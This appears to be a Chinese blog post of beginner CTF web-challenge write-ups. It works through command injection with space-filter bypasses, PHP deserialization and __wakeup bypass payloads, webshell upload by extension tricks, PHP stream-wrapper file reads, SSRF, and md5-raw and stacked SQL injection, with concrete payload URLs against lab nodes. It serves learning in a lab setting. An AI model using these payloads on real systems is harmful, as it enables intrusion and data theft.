web从零开始day1

[SWPUCTF 2021 新生赛]babyrce
1 |
|
要求cookie值admin=1,到达next.php
hackbar构造
访问rasalghul.php
1 |
|
意思是通过GET参数传递一个url参数,然后赋值给$ip变量。接下来有个正则表达式检查是否有空格,如果有的话就die。然后执行shell_exec($ip)
构造
1 | http://node5.anna.nssctf.cn:23645/rasalghul.php?url=ls |
但是过滤了空格,利用${IFS}替代空格构造查看根目录
1 | http://node5.anna.nssctf.cn:23645/rasalghul.php?url=ls${IFS}../../../ |
构造
1 | http://node5.anna.nssctf.cn:23645/rasalghul.php?url=cat${IFS}../../../flllllaaaaaaggggggg |
[SWPUCTF 2021 新生赛]ez_unserialize
御剑扫一下
扫到robots.txt
访问
1 | http://node7.anna.nssctf.cn:29794//cl45s.php |
得到
1 |
|
代码里有一个类wllm,里面有admin和passwd两个公共属性。构造函数construct()把它们初始化为user和123456。然后析构函数destruct()会在对象销毁时触发,检查admin是否等于”admin”,passwd是否等于”ctf”,如果满足的话就包含flag.php并输出$flag,否则输出当前admin和passwd的值。GET参数p传入数据,然后调用unserialize($p),所以这里的关键应该是构造一个序列化的wllm对象,使得在反序列化后,析构时admin和passwd的值满足条件
反序列化入口:unserialize($_GET['p'])
直接反序列化用户输入,未做过滤。
1 |
|
关键
1 | $obj = new wllm(); |
1 | O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} |
将这个序列化字符串作为p传参传进去
[SWPUCTF 2021 新生赛]easyupload2.0
文件上传,一句话木马,不能上传php,利用jpg上传抓包改文件后缀为phtml,可以被当作php解析
蚂蚁剑连接
getshell
[LitCTF 2023]PHP是世界上最好的语言!!
右边run code 估计可以跑代码
测试一下
1 | <?php |
发现真的可以列出来
1 | <?php |
找到flag
1 | <?php |
[SWPUCTF 2021 新生赛]easyupload1.0
一句话木马内容
上传抓包改后缀为php
content为image/jpeg
1 | Content-Type: |
蚂蚁剑连接
得到一个flag但是是fake_flag
木马里面调用了phpinfo访问phpinfo
NSSCTF{60ded589-3002-4e03-8871-e108deaa8c1a}
[LitCTF 2023]导弹迷踪
f12翻源码在game.js里面
[SWPUCTF 2021 新生赛]PseudoProtocols
url框里面有参数wllm
PseudoProtocols是伪协议的意思。构造php伪协议
1 | php://filter/convert.base64-encode/resource=hint.php |
base64解码: <?php
//go to /test2222222222222.php
1 |
|
要解决此PHP题目,需利用file_get_contents
支持的数据协议(Data URI)来绕过直接文件读取的限制。以下是详细步骤:
解题思路
目标条件:使
file_get_contents($a)
读取的内容等于I want flag
。关键点:参数
a
可控,且PHP支持通过Data URI直接嵌入数据。协议利用:使用
data:text/plain
协议直接构造包含目标字符串的URI。构造Data URI:
1
data:text/plain,I want flag
该URI的明文内容即为
I want flag
。URL编码:
将空格替换为%20
以确保传输正确:1
data:text/plain,I%20want%20flag
[SWPUCTF 2021 新生赛]no_wakeup
php反序列化
1 |
|
题目里面吗有一个
多了一个__wakeup的魔术方法,此魔术方法的调用条件:
当使用unserialize时被调用,可用于做些对象的初始化操作。
此魔术方法在CTF中经常利用到以下知识点:
__wakeup()
函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
payload
1 | $obj = new HaHaHa(); |
跑出来O:6:”HaHaHa”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:4:”wllm”;}
利用CVE-2016-7124,也就是刚刚的__wakeup()
函数漏洞,更改payload让表述对象属性个数的值加一
1 | 原:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} |
1 | http://node7.anna.nssctf.cn:26759/class.php?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;} |
getflag
[NCTF 2018]签到题
访问index.php,抓包,flag在文件头里
[LitCTF 2023]Follow me and hack me
用hackbar
考察get post传参。
[NISACTF 2022]easyssrf
题目说是ssrf
解析:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
利用file协议测试一下
1 | file:///flag |
再测试
1 | file:///fl4g |
访问ha1x1ux1u.php
得到
1 |
|
- 过滤绕过:
stristr($file, "file")
检查参数中是否含有file
(不区分大小写),直接使用绝对路径/flag
不含该关键词。 - 文件读取:
file_get_contents
直接读取指定路径文件内容
最终测试
1 | http://node5.anna.nssctf.cn:23690/ha1x1ux1u.php?file=../../../flag |
getflag
[LitCTF 2023]Ping
ping 127.0.0.1是有返回包的,看源码
这里有一段js代码去进行输入限制
主要限制的是前端对用户输入的IP地址进行格式验证
那么思路就是禁用掉前端js就可以命令执行127.0.0.1;ls 然后cat flag
这是第一种方法
第二种方法,抓包修改command,绕过js
构造
1 | command=127.0.0.1;ls ../../../ |
发现flag
1 | command=127.0.0.1;cat ../../../flag&ping=Ping |
[BJDCTF 2020]easy_md5
(重点md5($password,true) ByPass)
随便传入cat /flag,发现url框里有password参数
在网络get请求的消息头里发现了hint
1 | select * from 'admin' where password=md5($pass,true) |
MD5($input, TRUE)
返回原始二进制数据(16字节),而非32位HEX字符串。- 若二进制数据中包含 可被解析为SQL语法的字符(如
' '
、OR
),会导致查询逻辑被篡改。
在这里是true,会返回原始16字符的二进制格式
如果md5值经过 hex转字符串 后为 ‘or’+balabala这样的字符串,则拼接后构成的SQL语句为:
1 | select * from `admin` where password=''or'balabala' |
提交参数被MD5之后再组合进sql查询语句,MD5之后是hex格式,转化成字符串如果出现’or’ xxxx的形式就会导致注入成功,
一个字符串
1 | ffifdyop |
md5之后是276f722736c95d99e921722cf9ed621c
转字符串bytearray(b”'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c”)
所以注入成立
到下一个页面
查看源码
发现
1 |
|
意思是get传参接收a,b。要求a跟b不等于但是md5值相等,在这里==是弱等于
数组绕过(===判断 或 ==判断)
原理:md5和sha1对一个数组进行加密将返回NULL;而NULL===NULL返回true,所以可绕过判断
另一种方法md5值以 0e 开头的全部相等(==判断)
原理:0 的多少次方都等于零,因此当两个数的md5值都以为0e开头时,宽松判断会相等
所以数组绕过
1 | ?a[]=1&b[]=2 |
或者md5 0e绕过
md5以后是0e开头的值:
1 | QNKCDZO |
得到
1 |
|
意思是如果POST方式,传param1和param2两个参数,这两个参数还不能相等,但是md5转换后的值还要相等
但是后面是强类型md5,直接数组绕过,都返回null
1 | param1[]=1¶m2[]=2 |
[suctf 2019]EasySQL
测试
1 | '' or '1'='1' |
有回显
但是无效果表明 or 被过滤了
利用burp抓包测试
利用sql注入关键词字典测试,
被过滤
1 | prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&| |
由此观之,报错注入,union联合注入,盲注皆不可行,所以我们尝试进行堆叠注入
堆叠注入:将多条SQL语句放在一起,并用分号;隔开。
我们用
1 | 1;show tables; |
测试
发现有Flag表,确定flag在表里
测试
1 | 1;select flag from Flag |
回显
方法一:
使用 sql_mode 中的 PIPES_AS_CONCAT 函数。
PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。
1 | 1;set sql_mode=pipes_as_concat;select 1 |
方法二:
输入的内容为
1 | *,1 |
内置的sql语句为
1 | sql="select".sql="select".post[‘query’]."||flag from Flag"; |
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
GXYCTF 2019]Ping Ping Ping
命令执行
1 | 127.0.0.1;ls |
查看flag.php发现被过滤
看一下index.php
1 | 127.0.0.1;tac$IFS$1index.php |
1 |
|
有一个a变量可以覆盖,过滤了flag过滤了空格,/构造如下
1 | http://node7.anna.nssctf.cn:26866/?ip=127.0.0.1;a=g;tac$IFS$9fla$a.php |
[ZJCTF 2019]NiZhuanSiWei
1 |
|
三层绕过
第一层传入一个text文件,内容是welcome to the zjctf
file_get_contents函数:把整个文件读入一个字符串中。
可以用
1 | php://input伪协议以POST传参'welcome to the zjctf ' |
也可以用data
1 | text=data://text/plain,welcome to the zjctf |
绕过第一层
第二层
1 | if(preg_match("/flag/",$file)){ |
正则过滤flag。题目提示包含useless.php
file参数,利用php伪协议
1 | file=php://filter/read=convert.base64-encode/resource=useless.php |
php://filter
:PHP 的协议封装器,用于处理数据流。convert.base64-encode
:将文件内容转换为 Base64 编码(避免 PHP 直接执行代码)。resource=useless.php
:指定要读取的目标文件。
得到
1 | <?php |
第三层绕过
对password进行反序列化
本地进行序列化
1 |
|
得到
1 | O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
拼接
1 | http://node4.anna.nssctf.cn:28402/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
- Title: web从零开始day1
- Author: luyanpei
- Created at : 2025-04-23 00:07:05
- Updated at : 2025-04-28 15:26:52
- Link: https://redefine.ohevan.com/2025/04/23/nssctf-web从零开始day1/
- License: All Rights Reserved © luyanpei